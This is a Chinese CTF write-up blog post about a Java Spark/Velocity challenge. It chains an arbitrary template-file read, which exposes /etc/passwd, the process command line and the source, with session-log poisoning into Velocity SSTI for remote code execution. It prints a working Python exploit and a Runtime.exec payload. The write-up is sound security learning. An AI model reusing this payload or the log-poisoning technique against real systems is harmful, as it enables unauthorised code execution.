最近忙着复习去了。等到中午概统的复习课结束了才有时间完整看下题。除开一道web-pwn,剩下两个php都是常规考点,就是脑洞跟环境真心恶心人。学弟们也轻松解决,应该不需要什么记录。我自己做了下zblog这道java题,简单记录下。
最近ciscn赛区第7打进分区赛。强网杯跟着SU拿了第12。(就是自己太捞了,难题一律卡壳,果然不好好研究php跟java是没有出路的).然后为了国赛出了道Node.js不知道有没有机会拿到别的赛区去,估计真拿了会丢人吧。复习的时间也很少。不知道考试会不会炸……但是每次结束一个阶段总要写写文章的。所以形式化地写写。
zblog
简单java.就是环境卡的要死。
title参数存在文件读取。后面看源码会发现是任意模板文件渲染的。
这里没记错的话有个小细节就是不能随便插../
来穿越路径。后面会发现它是拼接路径的所以路径不能随便构造。而且似乎一开始尝试读文件的时候有点迷。文件末尾加了个/
才能读到,不加读不到。不知道是什么神必操作。然后后来好像又给修好了???
总之fuzz一下可以找到根目录的位置读到/etc/passwd
。接着读下/proc/self/cmdline
。
java -jar /home/ctf/web/target/web-1.0-SNAPSHOT-jar-with-dependencies.jar
个人觉得python跟java环境在有arbitary file read的情况下读下cmdline挺重要的。基本都会暴露绝对路径。比如此处。
更重要的是这个target.写过maven项目的都知道maven build好的内容都放在target文件夹下。所以这里基本确定能够确定按maven项目结构来读文件。
只要知道结构就等于把所有文件都暴露出来了。
先读下pom.xml。发现
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>ctf</groupId>
<artifactId>web</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<project.reporing.outputEncoding>UTF-8</project.reporing.outputEncoding>
<maven.compiler.source>1.8</maven.compiler.source>
<maven.compiler.target>1.8</maven.compiler.target>
</properties>
<dependencies>
<dependency>
<groupId>com.sparkjava</groupId>
<artifactId>spark-core</artifactId>
<version>2.9.2</version>
</dependency>
<dependency>
<groupId>com.sparkjava</groupId>
<artifactId>spark-template-velocity</artifactId>
<version>2.7.1</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-nop</artifactId>
<version>1.7.30</version>
</dependency>
<dependency>
<groupId>org.apache.velocity</groupId>
<artifactId>velocity</artifactId>
<version>1.7</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<configuration>
<archive>
<manifest>
<mainClass>Blog</mainClass>
</manifest>
</archive>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
</configuration>
<executions>
<execution>
<id>make-assemble</id>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>
从mainclass这里的值可以看出加载的主类Blog.class。按照maven默认没有包的结构直接读../../../../src/main/java/Blog.java
import static spark.Spark.*;
import java.io.*;
import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.VelocityEngine;
import spark.template.velocity.VelocityTemplateEngine;
import java.io.StringWriter;
public class Blog {
private static void log(String fname, String content) {
try {
FileWriter writer = new FileWriter(fname, true);
writer.write(content);
writer.close();
} catch (IOException e) {
}
}
public static void main(String[] arg) {
staticFiles.location("/public");
VelocityEngine velocityEngine = new VelocityEngine();
velocityEngine.setProperty(VelocityEngine.RESOURCE_LOADER, "file");
velocityEngine.setProperty(VelocityEngine.FILE_RESOURCE_LOADER_PATH, "/");
velocityEngine.init();
VelocityContext context = new VelocityContext();
get("/", (request, response) -> {
request.session(true);
String title = request.queryParams("title");
if (title != null) {
log("/tmp/" + request.session().id(), "Client IP: " + request.ip() + " -> File: " + title + "\n");
Template template = velocityEngine.getTemplate("/home/ctf/web/src/main/resources/templates/" + title);
StringWriter sw = new StringWriter();
template.merge(context, sw);
return sw;
}
Template template = velocityEngine.getTemplate("/home/ctf/web/src/main/resources/templates/index");
StringWriter sw = new StringWriter();
template.merge(context, sw);
return sw;
});
}
}
代码逻辑是title参数除了会按值找到对应模板文件渲染。还会将参数按照sessionid存储到tmp/
下。那么此处应该先传payload再进行渲染。即可触发ssti达成rce.
session为node0wjq18duzt9pg4ddli5qyyfqn3034.node0
这种形式。id去掉.node0
即可。
简单写个exp
import requests
url='http://122.112.253.135/'
session='node0wjq18duzt9pg4ddli5qyyfqn3034.node0'
id=session.rstrip('.node0')
'''
data={'title':'../../../../src/main/java/Blog.java'}
r=requests.get(url,params=data,cookies={'JSESSIONID':session})
print(r.text)
'''
data={'title':"#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('grep -r flag /tmp')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end"}
r=requests.get(url,params=data,cookies={'JSESSIONID':session})
data={'title':'../../../../../../../tmp/'+id}
r=requests.get(url,params=data,cookies={'JSESSIONID':session})
print(r.text)
这个payload是找了个velocity回显的payload写的。逻辑上还是反射就不多说了。其实之前学习JavaSec那个项目里的sstipayload也能执行。但是似乎外带时有点问题。
唯一比较狗的就是flag在/tmp
下。在tmp列目录会因为session文件太多进行相关操作直接卡死。一个个试发现最后只有grep -r flag /tmp
不会卡。做完后发现换了个节点,flag放根目录了……
就这么多吧。希望新学期一切顺利。比赛成绩能更进一步。整个暑假学习的知识,做过的题,打过的比赛让这两个月没有荒废,收获还是挺大的。比较可惜的是本来打算跟完的Commoncollections几条链子以及jackson,shiro等等exp的原理没能全部完成。希望过段时间能把坑填了。